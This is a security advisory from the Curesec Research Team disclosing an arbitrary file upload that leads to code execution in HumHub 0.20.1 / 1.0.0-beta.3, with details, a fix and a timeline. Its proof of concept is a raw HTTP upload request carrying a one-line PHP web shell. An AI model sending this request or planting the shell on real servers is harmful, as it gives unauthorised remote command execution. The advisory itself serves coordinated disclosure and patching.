HumHub 0.20.1 / 1.0.0-beta.3: Code Execution

HumHub 0.20.1 / 1.0.0-beta.3: Code Execution

Date: 2017-03-17 10:00:27
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: HumHub 0.20.1 / 1.0.0-beta.3
Fixed in: 1.0.0
Fixed Version Link: https://www.humhub.org/en/download/default/form?version=1.0.0&type=zip
Vendor Website: https://www.humhub.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 01/10/2016
Disclosed to public: 03/17/2017
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

HumHub is a social media platform written in PHP. In version 0.20.1 as well as 1.0.0-beta.3, it is vulnerable to Code Execution as some functionality allows the uploading of PHP files. Successfull exploitation requires specific server settings. A user account is required as well, but registration is open by default.

3. Details

CVSS: High 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C

Most of the file uploads of HumHub check the file extension or file type before uploading a file. However, the file upload of the "What's on your mind?"-text box allows upload of arbitrary files.

A htaccess file forbids the execution of PHP code in uploaded files, but some servers are configured to not read htaccess files. This is for example the case with default Apache configurations. Because of this, uploaded files should be checked to not have dangerous file extensions.

An account is needed, but the registration is open by default.

An admin does have the option to configure what files are allowed here: http://localhost/humhub-0.20.0/index.php?r=admin%2Fsetting%2Ffile. But by default, all files are allowed (although .htaccess is renamed).

It should also be noted that the documentation specifically mentions that the upload directory needs to be protected. However, it is to be assumed that not all users follow this suggestion, especially as there is no warning in the installation process itself.

Proof of Concept:

POST /humhub-0.20.1/index.php?r=file%2Ffile%2Fupload&objectModel=&objectId= HTTP/1.1 Host: localhost Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token: TzMwdHgxWkcafVg5EHsjKyBeQS0fUCMBeHdxPg1wDiV2cEZZN3xrDw== X-Requested-With: XMLHttpRequest Content-Length: 1080 Content-Type: multipart/form-data; boundary=---------------------------101749290911301792911842334968 Cookie: [...] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="_csrf" TzMwdHgxWkcafVg5EHsjKyBeQS0fUCMBeHdxPg1wDiV2cEZZN3xrDw== -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="message" -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="notifyUserInput" -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="containerGuid" 3edb07bd-969f-4da3-a4bc-3e2f92a6474c -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="containerClass" humhub\modules\user\models\User -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="fileList" -----------------------------101749290911301792911842334968 Content-Disposition: form-data; name="files[]"; filename="test.php" Content-Type: application/x-php <?php passthru($_GET['x']); -----------------------------101749290911301792911842334968--

4. Solution

To mitigate this issue please upgrade at least to version 1.0.0:

https://www.humhub.org/en/download/default/form?version=1.0.0&type=zip

Please note that a newer version might already be available.

5. Report Timeline

01/10/2016 Informed Vendor about Issue
01/12/2016 Vendor confirms issue
02/10/2016 Vendor requests more time
03/27/2016 Vendor releases fix
03/17/2017 Disclosed to public